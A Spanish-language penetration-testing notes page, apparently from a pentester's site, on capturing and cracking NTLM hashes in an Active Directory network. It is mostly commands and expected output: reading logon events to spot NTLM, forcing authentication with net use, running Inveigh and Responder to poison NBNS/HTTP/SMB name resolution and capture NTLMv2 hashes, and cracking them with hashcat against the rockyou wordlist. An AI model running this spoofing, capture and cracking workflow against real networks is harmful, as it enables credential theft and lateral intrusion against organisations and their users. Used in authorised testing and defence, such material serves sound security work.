> For the complete documentation index, see [llms.txt](https://www.xtormin.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/captura-de-hashes-en-red.md).

# Captura de hashes en red

Spoofing & relay attacks

<h2 align="center">Identificación de uso NTLM</h2>

### Visualización de eventos

Para identificar si NTLM está en uso, se puede realizar sin necesidad de tener privilegios de admin leyendo los eventos. En el campo de "Paquete de autenticación" se indicará si fue con Kerberos o NTLM:

```
wevtutil qe Security /q:"*[System[(EventID=4624)]]" /c:5 /f:text
```

### Sniffing con wireshark

Filtrar por:

```
ntlmssp
```

Si no se captura ninguna en el momento de realizarlo, se puede forzar de forma manual con:

```powershell
net use \\DC01\IPC$ /user:OILCORP\usuario password123
```

### Captura de autenticación

#### Herramientas

* [Inveigh](https://github.com/Kevin-Robertson/Inveigh). "Responder" para windows.
* [Responder](https://github.com/lgandx/Responder).

#### Inveigh

```powershell
Import-Module .\Inveigh.ps1
```

```powershell
Invoke-Inveigh -NBNS Y -HTTP Y -SMB Y
Invoke-Inveigh -NBNS Y -HTTP Y -ConsoleOutput Y
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```

#### Responder

```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
```

```bash
python3 Responder.py -I eth0
```

Salida esperada:

```
[SMB] NTLMv2-SSP Client   : 192.168.56.102
[SMB] Username   : XTORMINCORP\jgarcia
[SMB] Hash       : jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF...
```

<h2 align="center">Cracking</h2>

Ejemplo de hashes.txt:

```
jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF:0101000000000000...
```

```bash
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --force
```

Salida esperada:

```
jgarcia::XTORMINCORP:1122334455667788:8899AABBCCDDEEFF...: Password123!
```

## Referencias

* <https://www.thehacker.recipes/ad/movement/ntlm/relay>
